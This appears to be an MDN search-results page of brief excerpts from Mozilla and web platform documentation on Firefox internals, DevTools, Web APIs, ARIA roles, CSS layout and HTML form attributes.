...oz-place-separator", type_x_moz_place: "text/x-moz-place", type_x_moz_url: "text/x-moz-url", type_html: "text/html", type_unicode: "text/unicode", services there's easy access to some of the common services used in bookmarks or history navigation here. for instance, normally in order to get access to the bookmarks service, you have to run something like: components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); with places utils all you need to write is: placesutils.bookmarks this should save on the number of references to the service that are needed, and can help clean up interfaces that are already fairly cluttered. there are currently 11 services defined in here. bookmarks nsinavbookmarksservice histo...
...And 5 more matches
nsIPrintingPrompt
the parentage is hidden by the getinterface though which it is gotten. inherits from: nsisupports last changed in gecko 1.7 this interface is identical to nsipintingpromptservice but without the parent nsidomwindow parameter. see nsiprintingpromptservice for all documentation. this service enables embedders to implement their own print and progress dialogs. each platform has a "base" or "backstop" implementation of the service. the service is automatically registered at start up. ...
...vice to display at least the print dialog and a print progress dialog or you may implement just one of the dialogs and pass back ns_error_not_implemented for any of the others. for the print dialog: you may stub out this service by having all the methods return ns_error_not_implemented. you can then fly you own dialog and then properly fill in the printsettings object before calling nsiwebbrowserprint's print method. if you stub out this service you must set "printsilent" to true, if you do not, printing will terminate and an error dialog will be displayed. mac: the gfx layer still supports default toolkit behavior for displaying the print dialog. if an embedder implemented service returns ns_error_not_implemented for "showprintdialog" the toolkit will display the native print d...
...howprogress() - not implemented (provided by os) gtk: there are no native dialogs for gtk. ...
...And 5 more matches
Xray vision
xray vision helps javascript running in a privileged security context safely access objects created by less privileged code, by showing the caller only the native version of the objects. gecko runs javascript from a variety of different sources and at a variety of different privilege levels. the javascript code that along with the c++ core, implements the browser itself is called chrome code and runs using system privileges. if chrome-privileged code is compromised, the attacker can take over the user's computer. javascript loaded from normal web pages is called content code. because this code is being loaded from arbitrary web pages, it is regarded as untrusted and potentially hostile, both to other websites and to the user. as well as these two levels of privilege, chrome cod...
...me privileges. so this is not a straightforward privilege escalation attack, although it might lead to one if the chrome code is sufficiently confused. how you get xray vision privileged code automatically gets xray vision whenever it accesses objects belonging to less-privileged code. so when chrome code accesses content objects, it sees them with xray vision: // chrome code var transfer = gbrowser.contentwindow.confirm("transfer all my money?"); // calls the native implementation note that using window.confirm() would be a terrible way to implement a security policy, and is only shown here to illustrate how xray vision works. waiving xray vision xray vision is a kind of security heuristic, designed to make most common operations on untrusted objects simple and safe. however, there a...
...ive xray protection, but then you can no longer rely on any properties or functions being, or doing, what you expect. any of them, even setters and getters, could have been redefined by untrusted code. ...
...And 5 more matches
Using popup notifications
then clicking on the notification icon to bring it back again. a popup notification can include a text message, a button action, and zero or more additional actions provided in a drop-down menu accessed through the notification's button. creating a popup notification popup notifications can be created using the popupnotifications.jsm javascript code module. ...
...ons provided in a drop-down menu accessed through the notification's button. creating a popup notification popup notifications can be created using the popupnotifications.jsm javascript code module. this code module is imported by the browser, so you don't need to do it explicitly yourself. ...
...a drop-down menu accessed through the notification's button. creating a popup notification popup notifications can be created using the popupnotifications.jsm javascript code module. this code module is imported by the browser, so you don't need to do it explicitly yourself. ...
...And 5 more matches
Type conversion
e if src == 1: true var mystruct = ctypes.structtype("mystructtype", [ { "v": ctypes.bool } ])(); mystruct.v = true; console.log(mystruct.v.tostring()); // 'true' mystruct.v = false; console.log(mystruct.v.tostring()); // 'false' mystruct.v = 1; console.log(mystruct.v.tostring()); // 'true' mystruct.v = 0; console.log(mystruct.v.tostring()); // 'false' mystruct.v = 10; // throws error mystruct.v = "a"; // throws error integer types target type source converted value ctypes.char16_t js string (only if its length == 1) src.charcodeat(0) any integer types js number (only if fits to the size) src js boolean if src == true: 1 if src == false: 0 var mystruct = ctypes.structtype("mystructtype"...
... note that the...
... note that the following table does not contain environment dependent types (ctypes.long, etc.). ...
...And 5 more matches
Mozilla
ting the most recent cache version from the most recent cache group containing the entry under the url or a matching namespace. benchmarking debug builds (--enable-debug) and non-optimized builds (--disable-optimize) are much slower. any performance metrics gathered by such builds are largely unrelated to what would be found in a release browser. browser chrome tests the browser chrome test suite is an automated testing framework designed to allow testing of application chrome windows using javascript. it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework. a...
...s an automated testing framework designed to allow testing of application chrome windows using javascript. it currently allows you to run javascript code in the same scope as the main firefox browser window and report results using the same functions as the mochitest test framework. as all tests, they won't work in a build with tests disabled (--disable-tests). browser security an important aspect of developing code for any browser, including firefox, as well as any web-oriented project, is its security. these articles provide important guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. bugzilla bugzilla...
...arness compares the display of two web pages. if the bitmaps resulting from displaying the two files in an 800x1000 window are identical, the test passes. if they differ, the test fails. or, alternatively, the conditions can be reversed (a != test rather than an == test). the power of the tool comes from the fact that there is more than one way to achieve any given visual effect in a browser. so, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect. reftest will then compare them and verify whether they produce the same bitmap. creating sandboxed http connections starting with gecko 1.8.1 (firefox 2), it is poss...
...And 5 more matches
Accessibility Inspector - Firefox Developer Tools
y have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale. you can find more extensive information in the accessibility section of mdn web docs. here we are mainly talking about exposing information to people with visual disabilities — this is done via the accessibility apis available inside web browsers, which expose information on what roles the different elements on your page play (e.g., are they just text, or are they buttons, links, form elements, etc.?). semantic dom elements have roles assigned to them by default that hint at what their purpose is. sometimes, however, you need to use some non-semantic markup (e.g., <div>s) to build a complex custom control, and the control won't have a...
...antic dom elements have roles assigned to them by default that hint at what their purpose is. sometimes, however, you need to use some non-semantic markup (e.g., <div>s) to build a complex custom control, and the control won't have a default role that reflects its purpose. in such a situation, you can use wai-aria role attributes to provide your own roles. roles and other information exposed by browser accessibility apis are presented in a hierarchical structure called the accessibility tree. this is a bit like the dom tree, except that it contains a more limited set of elements and slightly different information about them. assistive technologies like screenreaders use this information to find out what's on a web page, tell their users what's there, and enable them to interact with the page...
... page, tell their users what's there, and enable them to interact with the page. the accessibility inspector also uses this information to provide valuable accessibility debugging capabilities in the devtools. accessing the accessibility inspector when you first open any of the other developer tools, the accessibility features are turned off (unless you've already got them turned on in another browser tab, or got the firefox accessibility engine started already, e.g., you might be a screenreader user or tester). this is because the accessibility engine runs in the background when the accessibility features are turned on. while it’s running, it slows performance and takes up memory; therefore it interferes with the metrics from other panels such as memory and performance as well as overall ...
...And 5 more matches
Debugger - Firefox Developer Tools
a snapshot when the debugger is enabled, and output the difference. setting this to false prevents this debugger instance from requiring any code coverage instrumentation, but it does not guarantee that the instrumentation is not present. uncaughtexceptionhook either null or a function that spidermonkey calls when a call to a debug event handler, breakpoint handler, or similar function throws some exception, which we refer to asdebugger-exception here. exceptions thrown in the debugger are not propagated to debuggee code; instead, spidermonkey calls this function, passingdebugger-exception as its sole argument and the debugger instance as the this value. this function should return a resumption value, which determines how the debuggee should continue. if the uncaught exception hook ...
...eption, which we refer to asdebugger-exception here. exceptions thrown in the debugger are not propagated to debuggee code; instead, spidermonkey calls this function, passingdebugger-exception as its sole argument and the debugger instance as the this value. this function should return a resumption value, which determines how the debuggee should continue. ...
...tions thrown in the debugger are not propagated to debuggee code; instead, spidermonkey calls this function, passingdebugger-exception as its sole argument and the debugger instance as the this value. this function should return a resumption value, which determines how the debuggee should continue. if the uncaught exception hook itself throws an exception,uncaught-hook-exception, spidermonkey throws a new error object,confess-to-debuggee-exception, to the debuggee whose message blames the debugger, and includes textual descriptions ofuncaught-hook-exception and the originaldebugger-exception. if uncaughtexceptionhook’s value is null, spidermonkey throws an exception to the debuggee whose message blames the debugger, and includes a textual description ofdebugger-exception. assigning any...
...And 5 more matches
Animating CSS properties - Firefox Developer Tools
the performance cost of animating a css property can vary from one property to another, and animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate. the frame rate and waterfall can give you insight into the work the browser's doing in a css animation, to help diagnose performance problems. with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation. the browser creates the animation as a transition from each keyframe to the next. ...
...roblems. with css animations you specify a number of keyframes, each of which uses css to define the appearance of the element at a particular stage of the animation. the browser creates the animation as a transition from each keyframe to the next. compared with animating elements using javascript, css animations can be easier to create. they can also give better performance, as they give the browser more control over when to render frames, and to drop frames if necessary. however, the performance cost of modifying a css property can vary from one property to another. ...
...the next. compared with animating elements using javascript, css animations can be easier to create. they can also give better performance, as they give the browser more control over when to render frames, and to drop frames if necessary. however, the performance cost of modifying a css property can vary from one property to another. animating expensive css properties can result in jank as the browser struggles to hit a smooth frame rate. ...
...And 5 more matches
Introduction to the File and Directory Entries API - Web APIs
lets you ask for more storage and manage your storage quota. sample use cases the following are just a few examples of how you can use the file and directory entries api: apps with persistent uploader when a file or directory is selected for upload, you can copy the file into a local sandbox and upload a chunk at a time. the app can restart uploads after an interruption, such as the browser being closed or crashing, connectivity getting interrupted, or the computer getting shut down. video game or other apps with lots of media assets the app downloads one or several large tarballs and expands them locally into a directory structure. the app pre-fetches assets in the background, so the user can go to the next task or game level without waiting for a download. audio ...
... web mail client the client downloads attachments and stores them locally. the client caches attachments for later upload. ...
...pi is case-sensitive the file and directory entries api is a virtual representation of a file system the api doesn't give you access to the local file system, nor is the sandbox really a section of the file system. instead, it is a virtualized file system that looks like a full-fledged file system to the web app. it does not necessarily have a relationship to the local file system outside the browser. what this means is that a web app and a desktop app cannot share the same file at the same time. the api does not let your web app reach outside the browser to files that desktop apps can also work on. you can, however, export a file from a web app to a desktop app. for example, you can use the file api, create a blob, redirect an iframe to the blob, and invoke the download manager. the fil...
...And 5 more matches
Fullscreen API - Web APIs
the fullscreen api adds methods to present a specific element (and its descendants) in full-screen mode, and to exit full-screen mode once it is no longer needed. this makes it possible to present desired content—such as an online game—using the user's entire screen, removing all browser user interface elements and other applications from the screen until full-screen mode is shut off. see the article guide to the fullscreen api for details on how to use the api. note: support for this api varies somewhat across browsers, with many requiring vendor prefixes and/or not implementing the latest specification. see the browser compatibility section below for details on support for this api. you may wish to consider using a library such as fscreen for vendor agnostic access to the fullscreen ...
...e document.exitfullscreen() requests that the user agent switch from full-screen mode back to windowed mode. returns a promise which is resolved once full-screen mode has been completely shut off. methods on the element interface element.requestfullscreen() asks the user agent to place the specified element (and, by extension, its descendants) into full-screen mode, removing all of the browser's ui elements as well as all other applications from the screen. returns a promise which is resolved once full-screen mode has been activated. properties the document interface provides properties that can be used to determine if full-screen mode is supported and available, and if full-screen mode is currently active, which element is using the screen. documentorshadowroot.fullscreeneleme...
...reenoptions provides optional settings you can specify when calling requestfullscreen(). controlling access the availability of full-screen mode can be controlled using feature policy. the full-screen mode feature is identified by the string "fullscreen", with a default allow-list value of "self", meaning that full-screen mode is permitted in top-level document contexts, as well as to nested browsing contexts loaded from the same origin as the top-most document. see using feature policy to learn more about using feature policy to control access to an api. usage notes users can choose to exit full-screen mode simply by pressing the esc (or f11) key, rather than waiting for the site or app to programmatically do so. make sure you provide, somewhere in your user interface, appropriate user...
...And 5 more matches
HTMLTextAreaElement - Web APIs
nt's placeholder attribute, containing a hint to the user about what to enter in the control. readonly boolean: returns / sets the element's readonly attribute, indicating that the user cannot modify the value of the control. required boolean: returns / sets the element's required attribute, indicating that the user must specify a value before submitting the form. rows unsigned long: returns / sets the element's rows attribute, indicating the number of visible text lines for the control. selectiondirection string: returns / sets the direction in which selection occurred. this is "forward" if selection was performed in the start-to-end direction of the current locale, or "backward" for the opposite direction. this can also be "none" if the directi...
...'enter the full url for the link');if(newurl){insertmetachars('&lt;a href=\u0022'+newurl+'\u0022&gt;','&lt;\/a&gt;');}else{document.myform.mytxtarea.focus();}">url</span> | <span class="intlink" onclick="insertmetachars('\n&lt;code&gt;\n','\n&lt;\/code&gt;\n');">code</span> | <span class="intlink" onclick="insertmetachars(' :-)');">smile</span> | etc. etc.&nbsp;]</p> <p><textarea name="mytxtarea" rows="10" cols="50">lorem ipsum dolor sit amet, consectetur adipiscing elit. ut facilisis, arcu vitae adipiscing placerat, nisl lectus accumsan nisi, vitae iaculis sem neque vel lectus. praesent tristique commodo lorem quis fringilla. sed ac tellus eros. sed consectetur eleifend felis vitae luctus. praesent sagittis, est eget bibendum tincidunt, ligula diam tincidunt augue, a fermentum odio velit eget...
...mollis interdum eget lorem. </textarea></p> </form> maximum length and number of lines example create a textarea with a maximum number of characters per line and a maximum number of lines: first, create a function that takes the text field and a key event as input and determines if any of the limits have been reached. if the limit has not been reached, it will return the key. ...
...And 5 more matches
HTML Drag and Drop API - Web APIs
the user may select draggable elements with a mouse, drag those elements to a droppable element, and drop them by releasing the mouse button. a translucent representation of the draggable elements follows the pointer during the drag operation. for web sites, extensions, and xul applications, you can customize which elements can become draggable, the type of feedback the draggable elements produce, and the droppable elements. this overview of html drag and drop includes a description of the interfaces, basic steps to add drag-and-drop support to an application, and an interoperability summary of the interfaces. ...
...ragover …a dragged item is being dragged over a valid drop target, every few hundred milliseconds. dragstart ondragstart …the user starts dragging an item. (see starting a drag operation.) drop ondrop …an item is dropped on a valid drop target. (see performing a drop.) note: neither dragstart nor dragend events are fired when dragging a file into the browser from the os. interfaces the html drag and drop interfaces are dragevent, datatransfer, datatransferitem and datatransferitemlist. the dragevent interface has a constructor and one datatransfer property, which is a datatransfer object. datatransfer objects include the drag event's state, such as the type of drag being done (like copy or move), the drag's data (one or more items), and the mim...
...o add a drag item to the list, remove a drag item from the list, and clear the list of all drag items. a key difference between the datatransfer and datatransferitem interfaces is that the former uses the synchronous getdata() method to access a drag item's data, but the latter instead uses the asynchronous getasstring() method. note: dragevent and datatransfer are broadly supported on desktop browsers. however, the datatransferitem and datatransferitemlist interfaces have limited browser support. see interoperability for more information about drag-and-drop interoperability. gecko-specific interfaces mozilla and firefox support some features not in the standard drag-and-drop model. these are convenience functions to help with dragging multiple items or non-string data (such as files). for...
...And 5 more matches
RTCDataChannel - Web APIs
to create a data channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method. ...
... to create a data channel and ask a remote peer to join you, call the rtcpeerconnection's createdatachannel() method. ...
...id returns an id number (between 0 and 65,534) which uniquely identifies the rtcdatachannel.label read only the read-only rtcdatachannel property label returns a domstring containing a name describing the data channel. ...
...And 5 more matches
RTCPeerConnection - Web APIs
remote peer. ...
...agent since the offer or answer represented by the description was first instantiated.getdefaulticeservers() the getdefaulticeservers() method of the rtcpeerconnection interface returns an array of objects based on the rtciceserver dictionary, which indicates what, if any, ice servers the browser will use by default if none are provided to the rtcpeerconnection in its rtcconfiguration. ...
...instead of using this obsolete method, you should instead use addtrack() once for each track you wish to send to the remote peer.addtrack()the rtcpeerconnection method addtrack() adds a new media track to the set of t...
...And 5 more matches
Using DTMF with WebRTC - Web APIs
incoming dtmf. webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their phone play the tones audibly. sending dtmf on an rtcpeerconnection a given rtcpeerconnection can have multiple media tracks sent or received on it. when you wish to transmit dtmf signals, you first need to decide which track to send them on, since dtm...
...enting the caller and the receiver, respectively. these will be initialized when the call starts up, in our connectanddial() function, as shown in starting the connection process below. dtmfsender the rtcdtmfsender object for the connection. this will be obtained while setting up the connection, in the gotstream() function shown in adding the audio to the connection. hasaddtrack because some browsers have not yet implemented rtcpeerconnection.addtrack(), therefore requiring the use of the obsolete addstream() method, we use this boolean to determine whether or not the user agent supports addtrack(); if it doesn't, we'll fall back to addstream(). this gets figured out in connectanddial(), as shown in starting the connection process. mediaconstraints an object conforming to the mediaconstr...
...pc.onaddstream = handlereceiveraddstreamevent; } navigator.mediadevices.getusermedia(mediaconstraints) .then(gotstream) .catch(err => log(err.message)); } after creating the rtcpeerconnection for the caller (callerpc), we look to see if it has an addtrack() method. if it does, we set hasaddtrack to true; otherwise, we set it to false. this variable will let the example operate even on browsers not yet implementing the newer addtrack() method; we'll do so by falling back to the older addstream() method. next, the event handlers for the caller are established. we'll cover these in detail later. then a second rtcpeerconnection, this one representing the receiving end of the call, is created and stored in receiverpc; its onicecandidate event handler is set up too. if addtrack() is su...
...And 5 more matches
Window.navigator - Web APIs
Web › API › Window › navigator
the window.navigator read-only property returns a reference to the navigator object, which has methods and properties about the application running the script. syntax navigatorobject = window.navigator examples example #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
...ty returns a reference to the navigator object, which has methods and properties about the application running the script. syntax navigatorobject = window.navigator examples example #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
... = window.navigator examples example #1: browser detect and return a string var sbrowser, susrag = navigator.useragent; // the order matters here, and this may report false positives for unlisted browsers. ...
...And 5 more matches
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
in either case, the actual delay may be longer than intended; see reasons for delays longer than specified below. arg1, ..., argn optional additional arguments which are passed through to the function specified by function. note: passing additional parameters to the function in the first syntax does not work in internet explorer 9 and below. if you want to enable this functionality on that browser, you must use a polyfill (see the polyfill section). return value the returned timeoutid is a positive integer value which identifies the timer created by the call to settimeout(); this value can be passed to cleartimeout() to cancel the timeout. it may be helpful to be aware that settimeout() and setinterval() share the same pool of ids, and that cleartimeout() and clearinterval() can tech...
...aralert();">cancel alert before it happens</button> javascript var timeoutid; function delayedalert() { timeoutid = window.settimeout(window.alert, 2*1000, 'that was really slow!'); } function clearalert() { window.cleartimeout(timeoutid); } result see also cleartimeout() example. polyfill if you need to pass one or more arguments to your callback function, but need it to work in browsers which don't support sending additional arguments using either settimeout() or setinterval() (e.g., internet explorer 9 and below), you can include this polyfill to enable the html5 standard arguments-passing functionality. just add this code to the top of your script: /*\ |*| |*| polyfill which enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (ht...
...l = function(vcallback, ndelay /*, argumenttopass1, argumenttopass2, etc. ...
...And 5 more matches
ARIA: grid role - Accessibility
the position of each cell is significant and can be focused using keyboard input. ...
...while it does not imply a specific visual presentation, it implies a relationship among elements. uses fall into two categories: presenting tabular information (data grids) and grouping other widgets (layout grids). even though both data grids and layout grids employ the same aria roles, states, and properties, differences in the...
...roles, states, and properties, differences in their content and purpose surface factors that are important to consider in keyboard interaction design. see aria authoring practices for more details cell elements have the role gridcell, unless they are a row or column header. then the elements are rowheader and columnheader, respectively. cell elements need to be owned by elements with a row role. rows can be grouped using rowgroups. if the grid is used as an interactive widget, keyboard interactions need to be implemented. associated aria roles, states, and properties roles treegrid (subclass) if a grid has columns that can expanded or collapsed, a treegrid can be used. row a row inside the grid. rowgroup a group containing one or multiple rows. states and properties aria-l...
...And 5 more matches
ARIA: table role - Accessibility
the table value of the aria role attribute identifies the element containing the role as having a non-interactive table structure containing data arranged in rows and columns, similar to the native <table> html element. <div role="table" aria-label="semantic elements" aria-describedby="semantic_elements_table_desc" aria-rowcount="81"> <div id="semantic_elements_table_desc">semantic elements to use instead of aria's roles</div> <div role="rowgroup"> <div role="row"> <span role="columnheader" aria-sort="none">aria role</span> <span role="columnheader" aria-sort="none">semantic element</span> </div> </div> <div role="rowgroup"> <div role="row" aria-rowindex="11"> <span role="cell">header</span> <span role="cell">h1</span> </div> <div role="row...
...the cells are not focusable or selectable, though widgets within individual cells of the table can be interactive. using a native html table element whenever possible is strongly encouraged. if a table maintains a selection state, has two-dimensional navigation, or allows the user to rearrange cell order use grid or treegrid instead. to create an aria table, add role="table"...
... possible is strongly encouraged. if a table maintains a selection state, has two-dimensional navigation, or allows the user to rearrange cell order use grid or treegrid instead. to create an aria table, add role="table" to the container element. within that container, each row has role="row" set and contains child cells. each cell has a role of either columnheader, rowheader, or simply cell. ...
...And 5 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
properties are usually expressed as the shorthand flex property. the following code would set the flex-grow property to 2, flex-shrink to 1 and flex-basis to auto. .item { flex: 2 1 auto; } if you have read the article basic concepts of flexbox, then you will have already had an introduction to the properties. here we will explore them in depth in order that you can fully understand what the browser is doing when you use them. important concepts when working on the main axis there are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. these relate to the natural size of flex items before any growing or shrinking takes place, and to the concept of free space. flex item sizing in order to work out how much space there i...
...t concepts when working on the main axis there are a few concepts worth digging into before looking at how the flex properties work to control ratios along the main axis. these relate to the natural size of flex items before any growing or shrinking takes place, and to the concept of free space. flex item sizing in order to work out how much space there is available to lay out flex items, the browser needs to know how big the item is to start with. how is this worked out for items that don’t have a width or a height applied using an absolute length unit? there is a concept in css of min-content and max-content — these keywords are defined in the css intrinsic and extrinsic sizing specification, and can be used in place of a length unit. in the live example below for instance i have tw...
...idth or a height applied using an absolute length unit? there is a concept in css of min-content and max-content — these keywords are defined in the css intrinsic and extrinsic sizing specification, and can be used in place of a length unit. in the live example below for instance i have two paragraph elements that contain a string of text. the first paragraph has a width of min-content. in a browser that supports this keyword you should be able to see that the text has taken all of the soft wrapping opportunities available to it, becoming as small as it can be without overflowing. this then, is the min-content size of that string. essentially, the longest word in the string is dictating the size. the second paragraph has a value of max-content and so it does the opposite. it gets as big a...
...And 5 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
hysical properties of margin-left, padding-left, and so on. we call these keywords and properties physical because they relate to the screen you are looking at. left is always left, no matter what direction your text is running. this can become an issue when developing a site that has to work in multiple languages, including languages that have text starting on the right, rather than the left. browsers are pretty good at dealing with text direction, and you don’t even need to be working in a rtl language to take a look. in the example below, i have two paragraphs. one has no text-align property set, the second has text-align set to left. i have added dir="rtl" to the html element, which switches the writing mode from the default for an english language document of ltr. you can see that the...
... element, which switches the writing mode from the default for an english language document of ltr. you can see that the first paragraph remains left to right, due to the text-align value being left . the second however, switches direction and the text runs from right to left . this is a very simple example of the problem with physical values and properties being used in css. they prevent the browser being able to do the work to switch writing mode, as they make the assumption that the text is flowing left to right and top to bottom. logical properties and values logical properties and values do not make an assumption about text direction. which is why in grid layout we use the keyword start when aligning something to the start of the container. for me, working in english, start may well ...
...the block o...
...And 5 more matches
Grid template areas - CSS: Cascading Style Sheets
grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } having defined these names i then create my layout. this time, instead of placing my items using line numbers specified on the items themselves, i create the whole layout on the grid container. ...
... . . ft ft ft ft ft ft"; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> in order to make the layou...
...} <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> in order to make the layout neater i can use multiple . characters. as long as there is no white space between the full stops it will be counted as one cell. for a complex layout there is a benefit to having the rows and columns neatly aligned. it means that you can actually see, right there in the css, what this layout looks like. spanning multiple cells in our example each of the areas spans multiple grid cells and we achieve this by repeating the name of that grid area multiple times with white space between. you can add extra white space in order to keep your columns neatly lined up in the value of grid...
...And 5 more matches
<color> - CSS: Cascading Style Sheets
he <color> data type in detail. to learn more about using color in html, see applying color to html elements using css. syntax the <color> data type is specified using one of the options listed below. note: although <color> values are precisely defined, their actual appearance may vary (sometimes significantly) from device to device. this is because most devices are not calibrated, and some browsers do not support output devices' color profiles. color keywords color keywords are case-insensitive identifiers that represent a specific color, such as red, blue, black, or lightseagreen. although the names more or less describes their respective colors, they are essentially artificial, without a strict rationale behind the names used. there are a few caveats to consider when using color ke...
...re. note: the list of accepted keywords has undergone many changes during the evolution of css: css level 1 only included 16 basic colors, called the vga colors as they were taken from the set of displayable colors on vga graphics cards. css level 2 added the orange keyword. although various colors not in the specification (mostly adapted from the x11 colors list) were supported by early browsers, it wasn't until svg 1.0 and css colors level 3 that they were formally defined. they are called the extended color keywords, the x11 colors, or the svg colors. css colors level 4 added the rebeccapurple keyword to honor web pioneer eric meyer. specification keyword rgb hex value live keyword css level 1 black #000000 silver #c0c0c0 ...
...ransparent keyword represents a fully transparent color. this makes the background behind the colored item completely visible. technically, transparent is a shortcut for rgba(0,0,0,0). compatibility note: to prevent unexpected behavior, such as in a <gradient>, the current css spec states that transparent should be calculated in the alpha-premultiplied color space. however, be aware that older browsers may treat it as black with an alpha value of 0. historical note: transparent wasn't a true color in css level 2 (revision 1). it was a special keyword that could be used instead of a regular <color> value on two css properties: background and border. it was essentially added to allow developers to override an inherited solid color. with the advent of alpha channels in css colors level 3, tr...
...And 5 more matches
quotes - CSS: Cascading Style Sheets
Web › CSS › quotes
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...itial valuedepends on user agentapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax none | auto | [ <string> <string> ]+ examples basic quote marks html <q>to be or not to be. that's the question!</q> css q { quotes: '"' '"' "'" "'"; } q::before { content: open-quote; } q::after { content: close-quote; } result auto quotes for most browsers, the default value of quotes is auto (firefox 70+), or the browser otherwise had this default behavior (chromiums, safari, edge), so this example works without it being explicitly being set. html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <...
...> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification. working draft css level 2 (revision 1)the definition of 'quotes' in that specification. recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetquoteschrome ...
...And 5 more matches
will-change - CSS: Cascading Style Sheets
these kinds of optimizations can increase the responsiveness of a page by doing potentially expensive work before they are actually required. important: will-change is intended to be used as a last resort, in order to try to deal with existing performance problems. it should not be used to anticipate performance problems. ...
...nts; will-change: transform; /* example of <custom-ident> */ will-change: opacity; /* example of <custom-ident> */ will-change: left, top; /* example of two <animateable-feature> */ /* global values */ will-change: inherit; will-change: initial; will-change: unset; proper usage of this property can be a bit tricky: don't apply will-change to too many elements. ...
... don't apply will-change to too many elements. the browser already tries as hard as it can to optimize everything. some of the stronger optimizations that are likely to be tied to will-change end up using a lot of a machine’s resources, and when overused like this can cause the page to slow down or consume a lot of resources. use sparingly. the normal behavior for optimizations that the browser make is to remove the optimizations as soon as it can and revert back to normal. but adding will-change directly in a stylesheet implies that the targeted elements are always a few moments away from changing and the browser will keep the optimizations for much longer time than it would have otherwise. so it is a good practice to switch will-change on and off using script code before and after t...
...And 5 more matches
HTML5 - Developer guides
Web › Guide › HTML › HTML5
time>, <output>, <progress>, or <meter> and <main>, increasing the number of valid html5 elements. improvement in <iframe> using the sandbox and srcdoc attributes, authors can now be precise about the level of security and the wished rendering of an <iframe> element. mathml allows directly embedding mathematical formulas. introduction to html5 this article introduces how to indicate to the browser that you are using html5 in your web design or web application. html5 reference guide quick-reference html5 sheet containing markup generators, code examples and web developer tools. the guide is downloadable for ease of use and access. this page was created with help from the w3c as a quick guide for those who have some basic familiarity and experience using html5. downloadable html5 guide ...
...tml 5 cheat sheet for beginners who want to master html 5, its elements, event attributes and compatibility. html5-compliant parser the parser, which turns the bytes of an html document into a dom, has been extended and now precisely defines the behavior to use in all cases, even when faced with invalid html. this leads to far greater predictability and interoperability between html5-compliant browsers. connectivity web sockets allows creating a permanent connection between the page and the server and to exchange non-html data through that means. server-sent events allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request. webrtc this technology, where rtc stands for real-time communication...
...page and the server and to exchange non-html data through that means. server-sent events allows a server to push events to a client, rather than the classical paradigm where the server could send data only in response to a client's request. webrtc this technology, where rtc stands for real-time communication, allows connecting to other people and controlling videoconferencing directly in the browser, without the need for a plugin or an external application. offline & storage offline resources: the application cache firefox fully supports the html5 offline resource specification. most others have offline resource support at some level. online and offline events firefox 3 supports whatwg online and offline events, which let applications and extensions detect whether or not there's an...
...And 5 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
the html autocomplete attribute is available on <input> elements that take a text or numeric value as input, <textarea> elements, <select> elements, and <form> elements. autocomplete lets web developers specify what if any permission the user agent has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field. ...
...at take a text or numeric value as input, <textarea> elements, <select> elements, and <form> elements. autocomplete lets web developers specify what if any permission the user agent has to provide automated assistance in filling out form field values, as well as guidance to the browser as to the type of information expected in the field. the source of the suggested values is generally up to the browser; typically values come from past values entered by the user, but they may also come from pre-configured values. for instance, a browser might let the user save their name, address, phone number, and email addresses for autocomplete purposes. perhaps the browser offers the ability to save encrypted credit card information, for autocompletion following an authentication procedure. if an <input>,...
... for more information, see the autocomplete attribute in <form>. ...
...And 5 more matches
<input type="number"> - HTML: Hypertext Markup Language
Web › HTML › Element › input › number
<input> elements of type number are used to let the user enter a number. they include built-in validation to reject non-numerical entries. the browser may opt to provide stepper arrows to let the user increase and decrease the value using their mouse or by simply tapping with a fingertip. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. on browsers that don't support inputs of type number, a number input falls back to type text. value any floating-point number, or empty. events change and input supported common attributes autocomplete, list, placeholder, readonly idl attr...
...the <datalist> provides a list of predefined values to suggest to the user for this input. any values in the list that are not compatible with the type are not included in the suggested options. the values provided are suggestions, not requir...
...s into a form. when you create a number input with the proper type value, number, you get automatic validation that the entered text is a number, and usually a set of up and down buttons to step the value up and down. important: bear in mind that, logically, you should not be able to enter characters inside a number input other than numbers. ...
...And 5 more matches
Standard metadata names - HTML: Hypertext Markup Language
Web › HTML › Element › meta › name
